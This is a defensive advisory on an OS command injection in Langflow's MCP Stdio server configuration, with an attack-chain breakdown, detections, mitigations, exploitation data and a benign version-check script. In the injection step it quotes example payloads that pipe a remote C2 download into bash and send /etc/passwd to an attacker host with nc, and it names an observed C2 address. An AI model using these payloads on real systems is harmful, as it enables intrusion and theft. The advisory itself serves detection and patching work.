Langflow hands you a bash shell disguised as an MCP server configuration form
CVE-2026-105740 is an OS command injection (CWE-78) in Langflow < 1.9.0, the open-source AI agent and workflow builder now owned by IBM via DataStax. The MCP (Model Context Protocol) Stdio transport feature accepts a user-supplied command field and passes it directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The env field additionally permits arbitrary environment variable injection (LD_PRELOAD, PATH overrides), compounding the impact. The command fires the instant the server list is fetched — no second click, no confirmation dialog. Affected versions span from v0.0.31 through v1.8.x. The fix landed in v1.9.0 (commit efbc4a16).
The vendor rates this CVSS 9.9 CRITICAL with Scope:Changed, and that score is substantially correct. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) is honest about the low attack complexity and scope change, but *understates* the effective risk by labeling privileges required as Low. In practice, Langflow ships with LANGFLOW_AUTO_LOGIN=True on pip installs — the dominant quickstart path — meaning every unauthenticated visitor gets superuser access via /api/v1/auto_login. Docker images default to False, but Bitbison's controlled exposure study found 67% of exposure windows received attacker code execution and 29% of attackers successfully exfiltrated planted API keys, with a minimum time-to-compromise of just 34 minutes. Previdian honeypots have logged 1,423 exploitation attempts from 27 unique IPs since September 19, 2026, with a single-day spike of 333 attempts on October 11. This is not theoretical — it is being weaponized now.
5 steps from start to impact.
Discover exposed Langflow instance
/api/v1/version endpoint.- Langflow instance reachable over HTTP/S from the internet or internal network
- Properly segmented deployments behind a VPN or identity-aware proxy are not discoverable
- Docker-based deployments may use non-default ports
http.title:"Langflow" or port:7860 Langflow. Censys similarly.Authenticate or bypass authentication
LANGFLOW_AUTO_LOGIN=True (the pip install default), the attacker hits /api/v1/auto_login and receives a superuser bearer token with zero credentials. If auto-login is disabled, attackers attempt common credentials or brute-force. Honeypot data confirms attackers systematically try default credentials before escalating to bearer-token-based API access.- Network access to Langflow web interface
- Docker deployments default to
LANGFLOW_AUTO_LOGIN=False, requiring actual credentials - Enterprise deployments behind SSO/OIDC add a real auth layer
/api/v1/auto_login from external IPs. Alert on bearer token issuance to unknown sources.Add malicious MCP server with Stdio transport
Stdio. The command field accepts arbitrary input — e.g., curl http://C2/payload | bash or cat /etc/passwd | nc C2 18764. The env field can inject LD_PRELOAD or PATH overrides to further abuse the execution environment. No allowlisting or sandboxing exists.- Authenticated session (trivially obtained in Step 2)
- MCP server configuration endpoint accessible
- None in affected versions — the feature is available to every authenticated user regardless of role
command fields containing shell metacharacters, pipes, or network utilities.Command executes on server list fetch
bash -c "exec {command}" under the Langflow process user, typically with access to all environment variables including LANGFLOW_SECRET_KEY, LANGFLOW_SUPERUSER_PASSWORD, and any configured LLM API keys. No user interaction beyond the initial configuration is required.- Malicious MCP server entry exists (Step 3)
- None — execution is automatic and immediate
bash -c exec invocations spawned by the Langflow Python process. Sysmon EventID 1 with ParentImage matching the Langflow runtime.Post-exploitation: credential theft and lateral movement
/etc/passwd, and deploying cryptominers. In Kubernetes deployments, compromise of the Langflow pod provides access to the cluster network, service account tokens, and potentially mounted secrets. Bitbison documented that 45% of attacker sources searched for credentials and 13% deployed cryptominers. A documented C2 destination was 146.70.211[.]112:18764.- Successful command execution (Step 4)
- Container runtime hardening (read-only rootfs, dropped capabilities, no-new-privileges) limits container escape
- Network policies in Kubernetes restrict lateral movement
- Secrets management via external vaults reduces credential exposure
/api/v1/mcp/servers or equivalent). This eliminates the attack surface completely without requiring a version upgrade. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL findings.LANGFLOW_AUTO_LOGIN=False is set in your environment configuration. Configure LANGFLOW_SUPERUSER_PASSWORD with a strong, unique value. This restores the PR:L barrier to a real authentication requirement rather than a rubber stamp. Deploy within 3 days. This does not fix the vuln — any authenticated user can still exploit it — but it raises the bar from 'anonymous internet visitor' to 'someone with valid credentials'.readOnlyRootFilesystem: true), drop all capabilities (drop: [ALL]), set no-new-privileges, and enforce network policies restricting egress from the Langflow pod. This limits post-exploitation impact even if the command injection succeeds — the attacker gets a shell but cannot easily escape the container or reach adjacent services. Deploy within 3 days.- Rate limiting / IP-based blocking — The exploit requires only a single HTTP request to configure the malicious MCP server. Rate limiting is useless against a one-shot attack.
- WAF signature for command injection in request bodies — The MCP server configuration is a legitimate JSON API call; the
commandfield is *supposed* to contain executable paths. Generic SQLi/CMDi WAF rules will either miss it or generate massive false positives on legitimate MCP configurations. - Upgrading to 1.9.x but not 1.10.3 — Fixes CVE-2026-105740 but leaves you exposed to the sibling CVE-2026-105697, which is the same attack vector with a different code path, fixed only in 1.10.3. Upgrade to >= 1.10.3 to close both.
The supporting signals.
| In-the-Wild Exploitation | Active. Previdian honeypots recorded 1,423 exploitation attempts from 27 unique IPs across 15 countries since September 19, 2026. Single-day peak of 333 attempts on October 11. C2 observed at 146.70.211[.]112:18764. Bitbison's controlled study: 67% of exposed instances received code execution, median 38h. |
|---|---|
| Proof-of-Concept | No formal PoC repo indexed on pocindex.io, GitHub, or ExploitDB. However, the exploit is trivially reproducible — it requires only adding an MCP server config entry via the UI or API. The attack surface is self-documenting; no tooling needed beyond curl. |
| EPSS | 0.00589 (0.59%), 46th percentile. Low EPSS likely reflects the niche install base rather than exploit difficulty. Active exploitation in honeypots suggests EPSS is lagging real-world activity. |
| CISA KEV | Not listed as of 2026-10-15. Given active honeypot exploitation and the precedent of CVE-2025-3248 (prior Langflow KEV entry), KEV addition is plausible in coming weeks. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Network-accessible, trivial complexity, low privileges (effectively none with auto-login), no user interaction, scope change to underlying OS. The PR:L is the only debatable metric; LANGFLOW_AUTO_LOGIN=True default makes it PR:N in practice for pip installs. |
| Affected Versions | langflow v0.0.31 through v1.8.x (all versions prior to 1.9.0). Includes langflow-base and lfx packages in the same version range. |
| Fixed Versions | langflow >= 1.9.0, langflow-base >= 0.9.0, lfx >= 1.9.0. Fix commit: efbc4a16e639409d938a4883463d27ef0bc637a0, PR #12290. |
| Internet Exposure | ~7,000 Langflow instances internet-exposed per scanning data (Shodan/Censys). Majority in North America. Bitbison: minimum 34 minutes from exposure to code execution. |
| Disclosure Timeline | 2026-10-05: CVE published. 2026-09-19: First honeypot exploitation observed (pre-disclosure). 2026-10-11: Exploitation spike. GHSAs: GHSA-7w94-79vh-5mr2, GHSA-w794-rj3p-xv45. |
| Reporter / Vendor | Reporter not publicly credited. Vendor: langflow-ai (IBM/DataStax). IBM acquired DataStax (Langflow's parent) in February 2025. Related sibling CVE: CVE-2026-105697 (same MCP stdio vector, fixed in 1.10.3). |
Sources.
- The Hacker News — Langflow Honeypot Exploitation
- OSV — CVE-2026-105740
- Mallory.ai — 1,423 Exploit Attempts Detail
- Bitbison — Langflow RCE: 34 Minutes to Compromise
- GitHub Advisory — GHSA-7w94-79vh-5mr2
- Strix.ai — CVE-2026-105740 Analysis
- HOL Guard — CVE-2026-105740 Technical Summary
- Langflow Docs — Authentication Configuration
Why this verdict
- Exploit triviality is extreme: The entire attack is a single API call to add an MCP server config with a shell command. No memory corruption, no race condition, no chaining — just fill in a form field. This is as close to
curl | bashas a web vuln gets. - Auto-login collapses the auth barrier:
LANGFLOW_AUTO_LOGIN=Trueis the default on pip installs. Hitting/api/v1/auto_loginreturns a superuser bearer token. For these deployments, PR:L is effectively PR:N, making the real-world attack surface *wider* than the CVSS vector admits. - Active exploitation confirmed with documented TTPs: 1,423 honeypot attempts from 27 IPs since September 19 — two weeks *before* CVE publication. Attackers are exfiltrating secrets, escaping Docker containers, and deploying miners. This is not a scanner-only signal; it's hands-on-keyboard activity.
- Role multiplier: Langflow is not a canonical high-value infrastructure component (not an IdP, DC, hypervisor, or network edge), which prevents the verdict from climbing above CRITICAL-floor. However, Langflow production deployments in Kubernetes clusters host LLM API keys, database credentials, and
LANGFLOW_SECRET_KEY. Compromise of a Langflow pod in a shared Kubernetes namespace provides lateral movement via service account tokens and cluster networking. In CI/CD-adjacent deployments where Langflow automates AI agent pipelines, the blast radius extends to supply-chain-scale (poisoned agent outputs, exfiltrated training data). For organizations using Langflow in production AI pipelines (~10-20% of the install base), the blast radius is tenant-to-cluster-scale, which floors the verdict at HIGH even before accounting for the trivial exploit. - Slight downward pressure from niche install base: Langflow is not ubiquitous enterprise software. Most enterprises managing 10,000 hosts have zero Langflow instances. This limits the *population-level* impact but does NOT reduce severity for organizations that do run it. The 0.5-point score reduction from 9.9 to 9.4 reflects the Docker-default-auth-off fraction and the non-canonical infrastructure role.
Why not higher?
The vendor's 9.9 is already near-ceiling. A perfect 10.0 would require PR:N in the CVSS vector, which is only true for pip-install deployments — Docker images default to auth-on. The tool is also not a canonical infrastructure component (not a DC, hypervisor, or network edge), so fleet-scale blast radius is conditional on deployment architecture rather than inherent.
Why not lower?
Active exploitation in the wild with documented C2 infrastructure and credential exfiltration eliminates any argument for downgrading below CRITICAL. The exploit requires zero tooling — it is literally a configuration form submission. Bitbison's 67% exploitation rate and 34-minute minimum time-to-compromise demonstrate that exposure equals compromise. Even with auth enabled, the attack only requires *any* authenticated user (not admin), and Langflow's multi-tenant auth model gives every user the ability to configure MCP servers.
Crowdsourced verification payload.
Run this script on each host where Langflow is installed — whether via pip, Docker, or Kubernetes pod. Execute as any user with read access to the Python environment or Docker socket. Example: bash check_cve_2026_105740.sh or pipe into a running container: docker exec <container> bash -c "$(cat check_cve_2026_105740.sh)"
#!/usr/bin/env bash
# CVE-2026-105740 Checker — Langflow MCP Stdio Command Injection
# Checks installed langflow version against the fixed version (1.9.0)
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
set -euo pipefail
FIXED_VERSION="1.9.0"
version_gte() {
# Returns 0 if $1 >= $2 using sort -V
[ "$(printf '%s\n%s' "$1" "$2" | sort -V | head -n1)" = "$2" ]
}
# Try pip-installed langflow first
if command -v pip &>/dev/null; then
INSTALLED=$(pip show langflow 2>/dev/null | grep -i '^Version:' | awk '{print $2}')
if [ -n "$INSTALLED" ]; then
echo "[*] Langflow version detected (pip): $INSTALLED"
echo "[*] Fixed version: >= $FIXED_VERSION"
if version_gte "$INSTALLED" "$FIXED_VERSION"; then
echo "PATCHED — langflow $INSTALLED >= $FIXED_VERSION"
exit 0
else
echo "VULNERABLE — langflow $INSTALLED < $FIXED_VERSION (CVE-2026-105740)"
# Bonus: check auto-login config
if [ "${LANGFLOW_AUTO_LOGIN:-}" = "true" ] || [ "${LANGFLOW_AUTO_LOGIN:-}" = "True" ]; then
echo "WARNING — LANGFLOW_AUTO_LOGIN is True; auth barrier is effectively absent"
fi
exit 1
fi
fi
fi
# Try pip3 if pip didn't work
if command -v pip3 &>/dev/null; then
INSTALLED=$(pip3 show langflow 2>/dev/null | grep -i '^Version:' | awk '{print $2}')
if [ -n "$INSTALLED" ]; then
echo "[*] Langflow version detected (pip3): $INSTALLED"
echo "[*] Fixed version: >= $FIXED_VERSION"
if version_gte "$INSTALLED" "$FIXED_VERSION"; then
echo "PATCHED — langflow $INSTALLED >= $FIXED_VERSION"
exit 0
else
echo "VULNERABLE — langflow $INSTALLED < $FIXED_VERSION (CVE-2026-105740)"
exit 1
fi
fi
fi
# Try docker
if command -v docker &>/dev/null; then
CONTAINERS=$(docker ps --filter "ancestor=langflowai/langflow" --format '{{.ID}} {{.Image}}' 2>/dev/null || true)
if [ -n "$CONTAINERS" ]; then
echo "[*] Langflow Docker container(s) detected:"
echo "$CONTAINERS"
echo "[!] Run this script inside each container to check version."
echo "UNKNOWN — Docker container detected but version not checked inline"
exit 2
fi
fi
echo "UNKNOWN — langflow not found via pip, pip3, or Docker on this host"
exit 2